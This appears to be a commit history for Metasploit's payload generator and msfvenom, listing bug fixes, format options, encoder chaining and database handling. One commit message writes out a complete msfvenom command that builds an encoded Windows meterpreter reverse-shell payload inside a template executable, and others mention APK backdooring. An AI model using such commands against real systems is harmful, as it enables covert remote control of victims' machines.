Commit Graph

89 Commits

Author SHA1 Message Date
Shelby Pace 86a7495e70 add require 2019-11-18 15:12:15 -06:00
Shelby Pace 2e73a9fe3f check for mixin that uses db 2019-11-18 13:45:24 -06:00
Shelby Pace e5d418e913 generalize saving and retrieval of db info 2019-11-18 13:41:01 -06:00
Shelby Pace 7c8af0754d add warning about db 2019-10-10 12:16:10 -05:00
Shelby Pace e295732d3f generate alphanumeric key/nonce 2019-10-10 12:16:10 -05:00
Shelby Pace ca45d77595 randomize key 2019-10-10 12:16:10 -05:00
Aaron Soto f4fa70da0a Add error handling for users without a database configured 2019-07-25 19:42:26 -05:00
Brent Cook 621d404a27 fix tests, handle stdin properly 2019-05-31 15:02:59 -05:00
Brent Cook d988fe6e5c handle invalid payloads more clearly
Currently, if you have an error in a payload module (e.g. you have a syntax
error in a module), the error is not noticed early enough in the generation process by the parameter validator, leading to a mysterious message like so:

```
Error: undefined method `platform' for nil:NilClass
```

This change cleans up some of the error handling, checks to see if the payload
module can be instantiated, and gives a more useful error output for the
different cases. This also tweaks some of the literal string outputs to match
other exception strings from payload_generator.
2019-05-31 14:32:49 -05:00
Brent Cook 745645d7ca make encoded payloads a little less special-case
Just operate on the raw_payload buffer so we always have the same thing to look
at in the end of generation.
2019-05-07 13:48:24 -05:00
Brent Cook ad8188ff51 throw exception on actual payload size violation, not formatted output size 2019-05-07 13:12:58 -05:00
Patrick a5ae7c491d Fixup line alignment. 2019-02-13 13:35:36 -06:00
Patrick 1487ca8923 Fixed line alignment. New section name is made lowercase to comply with naming standard. 2019-02-13 13:35:26 -06:00
Patrick 484329f6a0 Issue #6637: Adds msfvenom option --sec-name to specify custom new section header name 2019-02-13 13:34:38 -06:00
Brent Cook 682ebdc234 Land #11001, Properly error out when attempting to format ELFs 2018-11-21 16:13:40 -06:00
Adam Cammack 317f71f7f4 Land #10802, Make msfvenom -f case-insensitive 2018-11-21 16:04:30 -06:00
Adam Cammack 818c3c9f57 Properly error out when attempting to format ELFs 2018-11-21 14:57:37 -06:00
Patrick 30bf716827 Use --pad-nops as a boolean to make -n <size> the total payload size. 2018-11-20 23:26:03 -06:00
Kevin Kirsche ad58930e9b Dump formats when invalid format is selected 2018-11-04 09:25:37 -05:00
Kevin Kirsche 9f77966ec9 Revert downcase throughout, instead use single downcase within option parsing 2018-11-04 08:57:45 -05:00
Patrick ffc193f49b Issue #6100: Finalized changes to pass rake spec Msf::PayloadGenerator 2018-10-26 13:06:37 -05:00
Patrick 1241041739 [Issue 6100] Add --pad-size option to msfvenom to prepend nopsled given total payload size 2018-10-15 14:46:16 -05:00
Kevin Kirsche aadefdbc82 Update msfvenom formatter to be case insensitive 2018-10-12 11:11:52 -04:00
William Vu f28c4fc01e Address final review comments 2018-06-01 18:33:07 -05:00
g0tmi1k 5ba8467933 Updated code based on feedback...again 2018-06-01 12:55:37 +01:00
g0tmi1k 4189819eaf Removing "--" 2018-05-23 18:26:01 +01:00
g0tmi1k 66c0610e2a Add a check to make sure there is a valid encoder, else quit 2018-05-15 15:37:27 +01:00
Wei Chen 13edf66fa3 Fix options 2018-04-10 18:57:02 -05:00
Wei Chen b630d5c327 Add encryption support for shellcode 2018-04-10 11:14:14 -05:00
Tim a5af21fa1a add http headers to Android/Java 2017-11-21 13:47:19 -06:00
William Vu 585fac0457 Fix nil bug when creating nonexistent encoder
Found by irthewinner on IRC.
2017-04-30 03:43:51 -05:00
Brent Cook 8995629037 Land #7061, allow chaining the service stub with other encoders 2017-03-15 13:56:09 -05:00
Brent Cook f69b4a330e handle Ruby 2.4 Fixnum/Bignum -> Integer deprecations 2017-01-22 10:20:03 -06:00
OJ 57eabda5dc Merge upstream/master 2016-10-29 13:54:31 +10:00
OJ 1d617ae389 Implement first pass of architecture/platform refactor 2016-10-28 07:16:05 +10:00
Tim a39c4965e4 fix apk injection script to include payload service and receivers 2016-09-26 19:50:10 +08:00
forzoni b58931f803 Avoid error when generated payload is nil. 2016-07-19 23:43:38 -05:00
forzoni e90e6c4885 Use format check instead of length. 2016-07-19 09:38:09 -05:00
forzoni d6fd2a49d4 Add final filesize, useful when using different formats. 2016-07-19 02:41:37 -05:00
agix 3105ff3626 fix error when encoder is nil 2016-06-23 15:44:35 +02:00
agix 378208bc3d Move service stub in x86 encoder to be easily used.
Add psexec option SERCVICE_STUB_ENCODER to allow a list of encoder to
encode the x86/service stub.
Add multiple_encode_payload function in payload_generator.rb to accept a
list of encoder (beginning with @ to not break the classic parsing of
encoder).
With this it would be possible to pass multiple encoder to msfvenom in
one execution.
./msfvenom -p windows/meterpreter/reverse_tcp LPORT=80
LHOST=192.168.100.11 -e
@x86/shikata_ga_nai,x86/misc_anti_emu:5,x86/shikata_ga_nai -x
template.exe -f exe-only -o meterpreter.exe
2016-06-23 14:56:03 +02:00
Brent Cook 96c459c71d fix #6915, handle nil payloads and alert to the user 2016-05-26 07:22:09 -05:00
darkbushido 5e059e0c5b updating the error message
changing the exception to be a little more specific.
2016-05-23 15:40:32 -05:00
darkbushido d3cdcd5f99 Having the payload generator check the payload size
Payload generator will raise an error if the payload is larger then the size option
2016-05-23 15:17:41 -05:00
Christian Mehlmauer 7fcddd5a05 Add axis2 payload generator 2016-05-12 22:48:07 +02:00
Justin Steven 3bcac49c21 Fix: badchars.present? is false for whitespace
badchars.present? is false in the case of badchars containing only whitespace.

Instead check for is not empty and is not nil.
2016-04-05 10:09:56 +10:00
Tim d2a9aa18d8 fix sillyness 2015-12-22 16:06:01 +00:00
Tim eeea4bde9d integrate ./msfvenom -x for android payloads 2015-12-22 15:58:27 +00:00
Tim 662a6dfd53 ¯\_(ツ)_/¯ 2015-12-22 14:49:00 +00:00
Tim d2cc32a389 integrate apk_backdoor with msfvenom 2015-12-22 14:49:00 +00:00